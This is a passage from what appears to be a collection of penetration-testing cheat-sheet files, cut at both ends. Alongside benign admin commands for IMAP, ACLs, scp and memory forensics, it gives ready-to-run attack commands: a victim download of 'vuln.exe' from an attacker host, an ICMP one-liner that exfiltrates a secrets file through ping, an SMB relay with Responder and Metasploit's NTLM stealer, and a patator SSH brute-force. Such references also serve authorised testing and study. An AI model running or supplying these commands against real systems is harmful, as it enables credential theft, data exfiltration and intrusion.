| 7 | Step 4(victim): 8 | syntax : wget.exe http://:/ 9 | example: wget.exe http://192.168.0.145:8000/vuln.exe 10 | -------------------------------------------------------------------------------- /mail/imap/imapCurl.txt: -------------------------------------------------------------------------------- 1 | Use curl to connect to an IMAP server ('-k' is only needed with 'imaps', it's for SSL): 2 | 3 | get all folders: curl -n imap(s):// -X 'LIST "" "*"' (-k) --user ":" 4 | check folder : curl -n imap(s)://myMail -X 'EXAMINE ' (-k) --user ":" 5 | get message : curl -n "imap(s):///;UID=" (-k) --user ":" 6 | -------------------------------------------------------------------------------- /windows/file_permissions.txt: -------------------------------------------------------------------------------- 1 | View file permissions in command line: 2 | 3 | syntax : icacls 4 | example: icacls C:\"Program Files"\Vulnerabe\bin\Vulnerable.exe 5 | 6 | syntax : cacls 7 | example: cacls C:\"Program Files"\Vulnerabe\bin\Vulnerable.exe 8 | 9 | 10 | Powershell: 11 | 12 | syntax : Get-Acl 13 | example: Get-Acl C:\"Program Files"\Vulnerabe\bin\Vulnerable.exe 14 | 15 | -------------------------------------------------------------------------------- /networking/packets/icmpReadFile.txt: -------------------------------------------------------------------------------- 1 | Use this command on a server, then analyze the resulting file in Wireshark. 2 | 3 | Linux: 4 | Step 1(host): sudo tcpdump -i # sudo tcpdump -i eth0 5 | Step 2(target): 6 | syntax : xxd -p -c 16 [file()] | while read line; do ping -c 1 -p ; done 7 | example: xxd -p -c 16 [file(/home/tyrone/secrets.txt)] | while read line; do ping -c 1 -p 10.12.22.32; done 8 | -------------------------------------------------------------------------------- /windows/active_directory/getDomainController.txt: -------------------------------------------------------------------------------- 1 | A few commands to determine the domain controller of your domain 2 | 3 | cmd: 4 | example: echo %LOGONSERVER% 5 | 6 | syntax : nltest /dsgetdc: 7 | example: nltest /dsgetdc:ecorp.local 8 | 9 | powershell: 10 | example: Get-ADDomainController 11 | example: [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain() 12 | 13 | 14 | -------------------------------------------------------------------------------- /smb/smb_relay.txt: -------------------------------------------------------------------------------- 1 | Using an smb relay attack via MSSQL (use multiple terminals): 2 | 3 | Step 1(term 1): sudo responder -I -rwF # sudo responder -I eth0 -rwF 4 | Step 2(term 2): msfconsole # metasploit 5 | Step 3(term 2): use admin/mssql/mssql_ntlm_stealer 6 | Step 4(term 2): set all the options (USER, PASS, RHOSTS, AUTH) 7 | Step 5(term 2): set DOMAIN # set DOMAIN TYRONEPC 8 | Step 6(term 2): exploit 9 | -------------------------------------------------------------------------------- /filetransfer/scp.txt: -------------------------------------------------------------------------------- 1 | SCP is a file-transfer method that works via ssh. 2 | 3 | Transfer local files to remote machine: 4 | syntax : scp @: 5 | example: scp file.bak admin@192.168.84.34:/home/admin 6 | 7 | Transfer remote files to local machine: 8 | syntax : scp @: 9 | example: scp root@10.13.13.38:/root/capture.pcap ./ 10 | -------------------------------------------------------------------------------- /bruteforce/patator.txt: -------------------------------------------------------------------------------- 1 | Patator is a multi-purpose bruteforcing tool 2 | 3 | patator for SSH bruteforce 4 | 5 | syntax : patator host= port= user= password=FILE0 0= persistent=0 -x ignore:mesg='' 6 | example: patator ssh_login host=10.12.32.41 port=26478 user=tyrone password=FILE0 0=/opt/SecLists/Passwords/probable-v2-top1575.txt persistent=0 -x ignore:mesg='Authentication failed.' 7 | -------------------------------------------------------------------------------- /windows/check_services.txt: -------------------------------------------------------------------------------- 1 | Check all running services with powershell: 2 | example: Get-Service | Format-List 3 | 4 | Check permission on specific service with imported powershell script (https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/): 5 | syntax : '' | Get-ServiceAcl | Select-Object -ExpandProperty Access 6 | example: 'customServer' | Get-ServiceAcl | Select-Object -ExpandProperty Access 7 | -------------------------------------------------------------------------------- /forensics/volatility.txt: -------------------------------------------------------------------------------- 1 | Use volatility to scan memory dumps 2 | 3 | Step 1: 4 | syntax : volatility -f